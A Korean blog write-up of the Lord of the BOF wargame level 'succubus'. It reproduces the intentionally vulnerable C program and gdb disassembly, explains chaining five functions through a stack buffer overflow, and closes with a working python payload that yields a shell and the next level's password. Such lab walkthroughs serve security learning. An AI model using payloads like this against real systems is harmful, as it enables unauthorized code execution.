1. intro
2. code 및 분석
2.1 C code
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
2.2. 분석
아... 이런 문제는 pwntool 있으면 금방인데... 하나씩 뒤져봐야 한다.
main 함수에서는 ret address가 \x40으로 시작하면 종료하고,
addr 변수에 DO 함수의 주소를 넣은 뒤 ret address가 DO와 같지 않으면 종료한다.
만약 같으면 argv[1] 값을 buffer 변수에 삽입하며, 이후 stack 및 LD 영역을 0으로 만들어버린다.
만일 ret address가 DO가 맞다면 main return 시 DO 함수로 갈텐데, 여기서 check 변수에 1을 넣고 종료한다.
동일하게 GYE, GUL, YUT, MO 함수가 있으며, MO 함수에서는 system(cmd)를 실행시켜주기에 최종적으로 MO 함수를 실행시켜주면 된다.
다만 각 함수 내에 check 변수가 있고, 앞 함수에서 다음 함수로 넘어가지 않으면 해당 변수로 인해 강제 종료된다.
3. 취약점 확인 및 공격 준비
3.1 취약점
어차피 ret address는 고정값이어야하니 건드릴 수 있는 것은 sfp 뿐이다.
이를 통해 function chain calling이 가능하다.
3.2 공격 준비
다시한번 함수의 프롤로그와 에필로그에 대해서 생각해보자.
main 함수의 인자로 A*44 + DO address 를 전달하였다고 가정하자.
그럼 main 함수에서 에필로그에 따라 return 직전 ebp는 0 (memset으로 초기화 되었으니까), eip는 DO address가 될 것이며, esp는 eip + 4가 될 것이다.
DO 함수로 return 후 프롤로그에 따라 ebp인 0는 push 되며 (esp-4), ebp는 esp와 같아지기 때문에 ebp는 곧 DO의 eip - 4를 가르킨다.
(gdb) disas DO
Dump of assembler code for function DO:
0x80487ec <DO>: push %ebp
0x80487ed <DO+1>: mov %esp,%ebp
0x80487ef <DO+3>: push $0x8048a0e
0x80487f4 <DO+8>: call 0x804844c <printf>
0x80487f9 <DO+13>: add $0x4,%esp
0x80487fc <DO+16>: movl $0x1,0x8049a90
0x8048806 <DO+26>: leave
0x8048807 <DO+27>: ret
End of assembler dump.
함수에서 보듯, ebp를 참조하는 명령어가 하나도 없기 때문에 앞서와 마찬가지로
DO 함수의 에필로그에서 leave 시 ebp는 이전의 eip인 DO 함수의 주소가 될 것이고, eip는 DO 함수 주소가 삽입된 그 다음 값을 참조할 것이다.
그러므로 각 함수의 주소를 차례로 써주면 연속적으로 실행될 것이다.
각 함수의 어셈블러 코드를 보면 아래와 같고.
(gdb) disas DO
Dump of assembler code for function DO:
0x80487ec <DO>: push %ebp
0x80487ed <DO+1>: mov %esp,%ebp
0x80487ef <DO+3>: push $0x8048a0e
0x80487f4 <DO+8>: call 0x804844c <printf>
0x80487f9 <DO+13>: add $0x4,%esp
0x80487fc <DO+16>: movl $0x1,0x8049a90
0x8048806 <DO+26>: leave
0x8048807 <DO+27>: ret
End of assembler dump.
(gdb) disas GYE
Dump of assembler code for function GYE:
0x80487bc <GYE>: push %ebp
0x80487bd <GYE+1>: mov %esp,%ebp
0x80487bf <GYE+3>: cmpl $0x1,0x8049a90
0x80487c6 <GYE+10>: je 0x80487d2 <GYE+22>
0x80487c8 <GYE+12>: push $0x0
0x80487ca <GYE+14>: call 0x804845c <exit>
0x80487cf <GYE+19>: add $0x4,%esp
0x80487d2 <GYE+22>: push $0x80489f9
0x80487d7 <GYE+27>: call 0x804844c <printf>
0x80487dc <GYE+32>: add $0x4,%esp
0x80487df <GYE+35>: movl $0x2,0x8049a90
0x80487e9 <GYE+45>: leave
0x80487ea <GYE+46>: ret
0x80487eb <GYE+47>: nop
End of assembler dump.
(gdb) disas GUL
Dump of assembler code for function GUL:
0x804878c <GUL>: push %ebp
0x804878d <GUL+1>: mov %esp,%ebp
0x804878f <GUL+3>: cmpl $0x2,0x8049a90
0x8048796 <GUL+10>: je 0x80487a2 <GUL+22>
0x8048798 <GUL+12>: push $0x0
0x804879a <GUL+14>: call 0x804845c <exit>
0x804879f <GUL+19>: add $0x4,%esp
0x80487a2 <GUL+22>: push $0x80489e4
0x80487a7 <GUL+27>: call 0x804844c <printf>
0x80487ac <GUL+32>: add $0x4,%esp
0x80487af <GUL+35>: movl $0x3,0x8049a90
0x80487b9 <GUL+45>: leave
0x80487ba <GUL+46>: ret
0x80487bb <GUL+47>: nop
End of assembler dump.
(gdb) disas YUT
Dump of assembler code for function YUT:
0x804875c <YUT>: push %ebp
0x804875d <YUT+1>: mov %esp,%ebp
0x804875f <YUT+3>: cmpl $0x3,0x8049a90
0x8048766 <YUT+10>: je 0x8048772 <YUT+22>
0x8048768 <YUT+12>: push $0x0
0x804876a <YUT+14>: call 0x804845c <exit>
0x804876f <YUT+19>: add $0x4,%esp
0x8048772 <YUT+22>: push $0x80489cf
0x8048777 <YUT+27>: call 0x804844c <printf>
0x804877c <YUT+32>: add $0x4,%esp
0x804877f <YUT+35>: movl $0x4,0x8049a90
0x8048789 <YUT+45>: leave
0x804878a <YUT+46>: ret
0x804878b <YUT+47>: nop
End of assembler dump.
(gdb) disas MO
Dump of assembler code for function MO:
0x8048724 <MO>: push %ebp
0x8048725 <MO+1>: mov %esp,%ebp
0x8048727 <MO+3>: cmpl $0x4,0x8049a90
0x804872e <MO+10>: je 0x8048740 <MO+28>
0x8048730 <MO+12>: push $0x0
0x8048732 <MO+14>: call 0x804845c <exit>
0x8048737 <MO+19>: add $0x4,%esp
0x804873a <MO+22>: lea 0x0(%esi),%esi
0x8048740 <MO+28>: push $0x80489bb
0x8048745 <MO+33>: call 0x804844c <printf>
0x804874a <MO+38>: add $0x4,%esp
0x804874d <MO+41>: mov 0x8(%ebp),%eax
0x8048750 <MO+44>: push %eax
0x8048751 <MO+45>: call 0x804840c <system>
0x8048756 <MO+50>: add $0x4,%esp
0x8048759 <MO+53>: leave
0x804875a <MO+54>: ret
0x804875b <MO+55>: nop
End of assembler dump.
주소를 모아 페이로드를 작성하면 된다.
더불어 MO 함수 내에서 system(cmd)를 실행할때 cmd 변수는 인자로 받아오고 있으며, 이를 확인해보면 MO 함수의 ebp + 8 위치의 값을 참조한다.
0x804874d <MO+41>: mov 0x8(%ebp),%eax
0x8048750 <MO+44>: push %eax
0x8048751 <MO+45>: call 0x804840c <system>
결국 /bin/sh를 실행해야하기 때문에 해당 문자열의 시작 주소를 가진 주소를 MO 함수 ebp + 8 위치에 삽입해야 한다.
물론 libc에서 찾아도 되겠지만, 문제에서 인자에 \x40을 검사하기에 불가능하고, 직접적으로 써서 전달해보자.
4. exploit
위를 토대로 코드를 작성해보면 아래와 같다.
[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xa8\xfa\xff\xbf" + "/bin/sh\x00"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
sh: ▒▒▒▒: command not found
Segmentation fault
[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "AAAA" + "\xb8\xfa\xff\xbf" + "/bin/sh\x00"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ my-pass
euid = 517
here to stay
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] nightmare -> xavius (0) | 2022.09.21 |
---|---|
[lob] succubus -> nightmare (0) | 2022.09.21 |
[lob] assassin -> zombie_assassin (0) | 2022.09.16 |
[lob] giant -> assassin (0) | 2022.09.16 |
[lob] bugbear -> giant (0) | 2022.09.15 |